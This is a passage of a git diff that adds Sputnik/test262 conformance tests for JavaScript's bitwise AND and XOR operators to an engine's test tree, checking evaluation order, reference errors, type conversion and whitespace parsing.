+ * @path ch11/11.10/11.10.1/S11.10.1_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if (((x = 1) & x) !== 1) {
+ $ERROR('#1: var x = 0; ((x = 1) & x) === 1. Actual: ' + (((x = 1) & x)));
+}
+
+//CHECK#2
+var x = 0;
+if ((x & (x = 1)) !== 0) {
+ $ERROR('#2: var x = 0; (x & (x = 1)) === 0. Actual: ' + ((x & (x = 1))));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T2.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T2.js
new file mode 100644
index 000000000..23b8d91cf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() & y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() & y() throw "x". Actual: ' + (x() & y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() & y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T3.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T3.js
new file mode 100644
index 000000000..2aef6019b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ * @noStrict
+ */
+
+//CHECK#1
+try {
+ x & (x = 1);
+ $ERROR('#1.1: x & (x = 1) throw ReferenceError. Actual: ' + (x & (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x & (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (((y = 1) & y) !== 1) {
+ $ERROR('#2: ((y = 1) & y) === 1. Actual: ' + (((y = 1) & y)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.1.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.1.js
new file mode 100644
index 000000000..3818831d2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T1.1.js
+ * @description Type(x) and Type(y) are primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if ((true & true) !== 1) {
+ $ERROR('#1: (true & true) === 1. Actual: ' + ((true & true)));
+}
+
+//CHECK#2
+if ((new Boolean(true) & true) !== 1) {
+ $ERROR('#2: (new Boolean(true) & true) === 1. Actual: ' + ((new Boolean(true) & true)));
+}
+
+//CHECK#3
+if ((true & new Boolean(true)) !== 1) {
+ $ERROR('#3: (true & new Boolean(true)) === 1. Actual: ' + ((true & new Boolean(true))));
+}
+
+//CHECK#4
+if ((new Boolean(true) & new Boolean(true)) !== 1) {
+ $ERROR('#4: (new Boolean(true) & new Boolean(true)) === 1. Actual: ' + ((new Boolean(true) & new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.2.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.2.js
new file mode 100644
index 000000000..96f0a7c52
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T1.2.js
+ * @description Type(x) and Type(y) are primitive number and Number object
+ */
+
+//CHECK#1
+if ((1 & 1) !== 1) {
+ $ERROR('#1: (1 & 1) === 1. Actual: ' + ((1 & 1)));
+}
+
+//CHECK#2
+if ((new Number(1) & 1) !== 1) {
+ $ERROR('#2: (new Number(1) & 1) === 1. Actual: ' + ((new Number(1) & 1)));
+}
+
+//CHECK#3
+if ((1 & new Number(1)) !== 1) {
+ $ERROR('#3: (1 & new Number(1)) === 1. Actual: ' + ((1 & new Number(1))));
+}
+
+//CHECK#4
+if ((new Number(1) & new Number(1)) !== 1) {
+ $ERROR('#4: (new Number(1) & new Number(1)) === 1. Actual: ' + ((new Number(1) & new Number(1))));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.3.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.3.js
new file mode 100644
index 000000000..e94451b58
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T1.3.js
+ * @description Type(x) and Type(y) are primitive string and String object
+ */
+
+//CHECK#1
+if (("1" & "1") !== 1) {
+ $ERROR('#1: ("1" & "1") === 1. Actual: ' + (("1" & "1")));
+}
+
+//CHECK#2
+if ((new String("1") & "1") !== 1) {
+ $ERROR('#2: (new String("1") & "1") === 1. Actual: ' + ((new String("1") & "1")));
+}
+
+//CHECK#3
+if (("1" & new String("1")) !== 1) {
+ $ERROR('#3: ("1" & new String("1")) === 1. Actual: ' + (("1" & new String("1"))));
+}
+
+//CHECK#4
+if ((new String("1") & new String("1")) !== 1) {
+ $ERROR('#4: (new String("1") & new String("1")) === 1. Actual: ' + ((new String("1") & new String("1"))));
+}
+
+//CHECK#5
+if (("x" & "1") !== 0) {
+ $ERROR('#5: ("x" & "1") === 0. Actual: ' + (("x" & "1")));
+}
+
+//CHECK#6
+if (("1" & "x") !== 0) {
+ $ERROR('#6: ("1" & "x") === 0. Actual: ' + (("1" & "x")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.4.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.4.js
new file mode 100644
index 000000000..ba187bd35
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T1.4.js
+ * @description Type(x) and Type(y) are null and undefined
+ */
+
+//CHECK#1
+if ((null & undefined) !== 0) {
+ $ERROR('#1: (null & undefined) === 0. Actual: ' + ((null & undefined)));
+}
+
+//CHECK#2
+if ((undefined & null) !== 0) {
+ $ERROR('#2: (undefined & null) === 0. Actual: ' + ((undefined & null)));
+}
+
+//CHECK#3
+if ((undefined & undefined) !== 0) {
+ $ERROR('#3: (undefined & undefined) === 0. Actual: ' + ((undefined & undefined)));
+}
+
+//CHECK#4
+if ((null & null) !== 0) {
+ $ERROR('#4: (null & null) === 0. Actual: ' + ((null & null)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.5.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.5.js
new file mode 100644
index 000000000..437336a4b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T1.5.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T1.5.js
+ * @description Type(x) and Type(y) are Object object and Function object
+ */
+
+//CHECK#1
+if (({} & function(){return 1}) !== 0) {
+ $ERROR('#1: ({} & function(){return 1}) === 0. Actual: ' + (({} & function(){return 1})));
+}
+
+//CHECK#2
+if ((function(){return 1} & {}) !== 0) {
+ $ERROR('#2: (function(){return 1} & {}) === 0. Actual: ' + ((function(){return 1} & {})));
+}
+
+//CHECK#3
+if ((function(){return 1} & function(){return 1}) !== 0) {
+ $ERROR('#3: (function(){return 1} & function(){return 1}) === 0. Actual: ' + ((function(){return 1} & function(){return 1})));
+}
+
+//CHECK#4
+if (({} & {}) !== 0) {
+ $ERROR('#4: ({} & {}) === 0. Actual: ' + (({} & {})));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.1.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.1.js
new file mode 100644
index 000000000..7a70acf5f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if ((true & 1) !== 1) {
+ $ERROR('#1: (true & 1) === 1. Actual: ' + ((true & 1)));
+}
+
+//CHECK#2
+if ((1 & true) !== 1) {
+ $ERROR('#2: (1 & true) === 1. Actual: ' + ((1 & true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) & 1) !== 1) {
+ $ERROR('#3: (new Boolean(true) & 1) === 1. Actual: ' + ((new Boolean(true) & 1)));
+}
+
+//CHECK#4
+if ((1 & new Boolean(true)) !== 1) {
+ $ERROR('#4: (1 & new Boolean(true)) === 1. Actual: ' + ((1 & new Boolean(true))));
+}
+
+//CHECK#5
+if ((true & new Number(1)) !== 1) {
+ $ERROR('#5: (true & new Number(1)) === 1. Actual: ' + ((true & new Number(1))));
+}
+
+//CHECK#6
+if ((new Number(1) & true) !== 1) {
+ $ERROR('#6: (new Number(1) & true) === 1. Actual: ' + ((new Number(1) & true)));
+}
+
+//CHECK#7
+if ((new Boolean(true) & new Number(1)) !== 1) {
+ $ERROR('#7: (new Boolean(true) & new Number(1)) === 1. Actual: ' + ((new Boolean(true) & new Number(1))));
+}
+
+//CHECK#8
+if ((new Number(1) & new Boolean(true)) !== 1) {
+ $ERROR('#8: (new Number(1) & new Boolean(true)) === 1. Actual: ' + ((new Number(1) & new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.2.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.2.js
new file mode 100644
index 000000000..72765faf2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if (("1" & 1) !== 1) {
+ $ERROR('#1: ("1" & 1) === 1. Actual: ' + (("1" & 1)));
+}
+
+//CHECK#2
+if ((1 & "1") !== 1) {
+ $ERROR('#2: (1 & "1") === 1. Actual: ' + ((1 & "1")));
+}
+
+//CHECK#3
+if ((new String("1") & 1) !== 1) {
+ $ERROR('#3: (new String("1") & 1) === 1. Actual: ' + ((new String("1") & 1)));
+}
+
+//CHECK#4
+if ((1 & new String("1")) !== 1) {
+ $ERROR('#4: (1 & new String("1")) === 1. Actual: ' + ((1 & new String("1"))));
+}
+
+//CHECK#5
+if (("1" & new Number(1)) !== 1) {
+ $ERROR('#5: ("1" & new Number(1)) === 1. Actual: ' + (("1" & new Number(1))));
+}
+
+//CHECK#6
+if ((new Number(1) & "1") !== 1) {
+ $ERROR('#6: (new Number(1) & "1") === 1. Actual: ' + ((new Number(1) & "1")));
+}
+
+//CHECK#7
+if ((new String("1") & new Number(1)) !== 1) {
+ $ERROR('#7: (new String("1") & new Number(1)) === 1. Actual: ' + ((new String("1") & new Number(1))));
+}
+
+//CHECK#8
+if ((new Number(1) & new String("1")) !== 1) {
+ $ERROR('#8: (new Number(1) & new String("1")) === 1. Actual: ' + ((new Number(1) & new String("1"))));
+}
+
+//CHECK#9
+if (("x" & 1) !== 0) {
+ $ERROR('#9: ("x" & 1) === 0. Actual: ' + (("x" & 1)));
+}
+
+//CHECK#10
+if ((1 & "x") !== 0) {
+ $ERROR('#10: (1 & "x") === 0. Actual: ' + ((1 & "x")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.3.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.3.js
new file mode 100644
index 000000000..a133e1f43
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if ((1 & null) !== 0) {
+ $ERROR('#1: (1 & null) === 0. Actual: ' + ((1 & null)));
+}
+
+//CHECK#2
+if ((null & 1) !== 0) {
+ $ERROR('#2: (null & 1) === 0. Actual: ' + ((null & 1)));
+}
+
+//CHECK#3
+if ((new Number(1) & null) !== 0) {
+ $ERROR('#3: (new Number(1) & null) === 0. Actual: ' + ((new Number(1) & null)));
+}
+
+//CHECK#4
+if ((null & new Number(1)) !== 0) {
+ $ERROR('#4: (null & new Number(1)) === 0. Actual: ' + ((null & new Number(1))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.4.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.4.js
new file mode 100644
index 000000000..1ceb71fa0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ((1 & undefined) !== 0) {
+ $ERROR('#1: (1 & undefined) === 0. Actual: ' + ((1 & undefined)));
+}
+
+//CHECK#2
+if ((undefined & 1) !== 0) {
+ $ERROR('#2: (undefined & 1) === 0. Actual: ' + ((undefined & 1)));
+}
+
+//CHECK#3
+if ((new Number(1) & undefined) !== 0) {
+ $ERROR('#3: (new Number(1) & undefined) === 0. Actual: ' + ((new Number(1) & undefined)));
+}
+
+//CHECK#4
+if ((undefined & new Number(1)) !== 0) {
+ $ERROR('#4: (undefined & new Number(1)) === 0. Actual: ' + ((undefined & new Number(1))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.5.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.5.js
new file mode 100644
index 000000000..3983069f4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.5.js
+ * @description Type(x) us different from Type(y) and both types are String (primitive or object) or Boolean (primitive and object)
+ */
+
+//CHECK#1
+if ((true & "1") !== 1) {
+ $ERROR('#1: (true & "1") === 1. Actual: ' + ((true & "1")));
+}
+
+//CHECK#2
+if (("1" & true) !== 1) {
+ $ERROR('#2: ("1" & true) === 1. Actual: ' + (("1" & true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) & "1") !== 1) {
+ $ERROR('#3: (new Boolean(true) & "1") === 1. Actual: ' + ((new Boolean(true) & "1")));
+}
+
+//CHECK#4
+if (("1" & new Boolean(true)) !== 1) {
+ $ERROR('#4: ("1" & new Boolean(true)) === 1. Actual: ' + (("1" & new Boolean(true))));
+}
+
+//CHECK#5
+if ((true & new String("1")) !== 1) {
+ $ERROR('#5: (true & new String("1")) === 1. Actual: ' + ((true & new String("1"))));
+}
+
+//CHECK#6
+if ((new String("1") & true) !== 1) {
+ $ERROR('#6: (new String("1") & true) === 1. Actual: ' + ((new String("1") & true)));
+}
+
+//CHECK#7
+if ((new Boolean(true) & new String("1")) !== 1) {
+ $ERROR('#7: (new Boolean(true) & new String("1")) === 1. Actual: ' + ((new Boolean(true) & new String("1"))));
+}
+
+//CHECK#8
+if ((new String("1") & new Boolean(true)) !== 1) {
+ $ERROR('#8: (new String("1") & new Boolean(true)) === 1. Actual: ' + ((new String("1") & new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.6.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.6.js
new file mode 100644
index 000000000..b9f66bb79
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (("1" & undefined) !== 0) {
+ $ERROR('#1: ("1" & undefined) === 0. Actual: ' + (("1" & undefined)));
+}
+
+//CHECK#2
+if ((undefined & "1") !== 0) {
+ $ERROR('#2: (undefined & "1") === 0. Actual: ' + ((undefined & "1")));
+}
+
+//CHECK#3
+if ((new String("1") & undefined) !== 0) {
+ $ERROR('#3: (new String("1") & undefined) === 0. Actual: ' + ((new String("1") & undefined)));
+}
+
+//CHECK#4
+if ((undefined & new String("1")) !== 0) {
+ $ERROR('#4: (undefined & new String("1")) === 0. Actual: ' + ((undefined & new String("1"))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.7.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.7.js
new file mode 100644
index 000000000..0dbabe1f0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if (("1" & null) !== 0) {
+ $ERROR('#1: ("1" & null) === 0. Actual: ' + (("1" & null)));
+}
+
+//CHECK#2
+if ((null & "1") !== 0) {
+ $ERROR('#2: (null & "1") === 0. Actual: ' + ((null & "1")));
+}
+
+//CHECK#3
+if ((new String("1") & null) !== 0) {
+ $ERROR('#3: (new String("1") & null) === 0. Actual: ' + ((new String("1") & null)));
+}
+
+//CHECK#4
+if ((null & new String("1")) !== 0) {
+ $ERROR('#4: (null & new String("1")) === 0. Actual: ' + ((null & new String("1"))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.8.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.8.js
new file mode 100644
index 000000000..33eec3241
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ((true & undefined) !== 0) {
+ $ERROR('#1: (true & undefined) === 0. Actual: ' + ((true & undefined)));
+}
+
+//CHECK#2
+if ((undefined & true) !== 0) {
+ $ERROR('#2: (undefined & true) === 0. Actual: ' + ((undefined & true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) & undefined) !== 0) {
+ $ERROR('#3: (new Boolean(true) & undefined) === 0. Actual: ' + ((new Boolean(true) & undefined)));
+}
+
+//CHECK#4
+if ((undefined & new Boolean(true)) !== 0) {
+ $ERROR('#4: (undefined & new Boolean(true)) === 0. Actual: ' + ((undefined & new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.9.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.9.js
new file mode 100644
index 000000000..9c94ad0e7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y returns ToNumber(x) & ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if ((true & null) !== 0) {
+ $ERROR('#1: (true & null) === 0. Actual: ' + ((true & null)));
+}
+
+//CHECK#2
+if ((null & true) !== 0) {
+ $ERROR('#2: (null & true) === 0. Actual: ' + ((null & true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) & null) !== 0) {
+ $ERROR('#3: (new Boolean(true) & null) === 0. Actual: ' + ((new Boolean(true) & null)));
+}
+
+//CHECK#4
+if ((null & new Boolean(true)) !== 0) {
+ $ERROR('#4: (null & new Boolean(true)) === 0. Actual: ' + ((null & new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/browser.js b/js/src/tests/test262/ch11/11.10/11.10.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/shell.js b/js/src/tests/test262/ch11/11.10/11.10.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A1.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A1.js
new file mode 100644
index 000000000..6798a9ea4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A1.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between BitwiseXORExpression and "^" or between "^" and BitwiseANDExpression are allowed
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A1.js
+ * @description The check uses eval
+ */
+
+//CHECK#1
+if ((eval("1\u0009^\u00091")) !== 0) {
+ $ERROR('#1: (1\\u0009^\\u00091) === 0');
+}
+
+//CHECK#2
+if ((eval("1\u000B^\u000B1")) !== 0) {
+ $ERROR('#2: (1\\u000B^\\u000B1) === 0');
+}
+
+//CHECK#3
+if ((eval("1\u000C^\u000C1")) !== 0) {
+ $ERROR('#3: (1\\u000C^\\u000C1) === 0');
+}
+
+//CHECK#4
+if ((eval("1\u0020^\u00201")) !== 0) {
+ $ERROR('#4: (1\\u0020^\\u00201) === 0');
+}
+
+//CHECK#5
+if ((eval("1\u00A0^\u00A01")) !== 0) {
+ $ERROR('#5: (1\\u00A0^\\u00A01) === 0');
+}
+
+//CHECK#6
+if ((eval("1\u000A^\u000A1")) !== 0) {
+ $ERROR('#6: (1\\u000A^\\u000A1) === 0');
+}
+
+//CHECK#7
+if ((eval("1\u000D^\u000D1")) !== 0) {
+ $ERROR('#7: (1\\u000D^\\u000D1) === 0');
+}
+
+//CHECK#8
+if ((eval("1\u2028^\u20281")) !== 0) {
+ $ERROR('#8: (1\\u2028^\\u20281) === 0');
+}
+
+//CHECK#9
+if ((eval("1\u2029^\u20291")) !== 0) {
+ $ERROR('#9: (1\\u2029^\\u20291) === 0');
+}
+
+
+//CHECK#10
+if ((eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029^\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 0) {
+ $ERROR('#10: (1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029^\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T1.js
new file mode 100644
index 000000000..f4aad4a19
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y uses GetValue
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((1 ^ 1) !== 0) {
+ $ERROR('#1: (1 ^ 1) === 0. Actual: ' + ((1 ^ 1)));
+}
+
+//CHECK#2
+var x = 1;
+if ((x ^ 1) !== 0) {
+ $ERROR('#2: var x = 1; (x ^ 1) === 0. Actual: ' + ((x ^ 1)));
+}
+
+//CHECK#3
+var y = 1;
+if ((1 ^ y) !== 0) {
+ $ERROR('#3: var y = 1; (1 ^ y) === 0. Actual: ' + ((1 ^ y)));
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if ((x ^ y) !== 0) {
+ $ERROR('#4: var x = 1; var y = 1; (x ^ y) === 0. Actual: ' + ((x ^ y)));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if ((objectx.prop ^ objecty.prop) !== 0) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; (objectx.prop ^ objecty.prop) === 0. Actual: ' + ((objectx.prop ^ objecty.prop)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T2.js
new file mode 100644
index 000000000..503ac9678
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y uses GetValue
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x ^ 1;
+ $ERROR('#1.1: x ^ 1 throw ReferenceError. Actual: ' + (x ^ 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x ^ 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T3.js
new file mode 100644
index 000000000..6c5969614
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y uses GetValue
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.1_T3.js
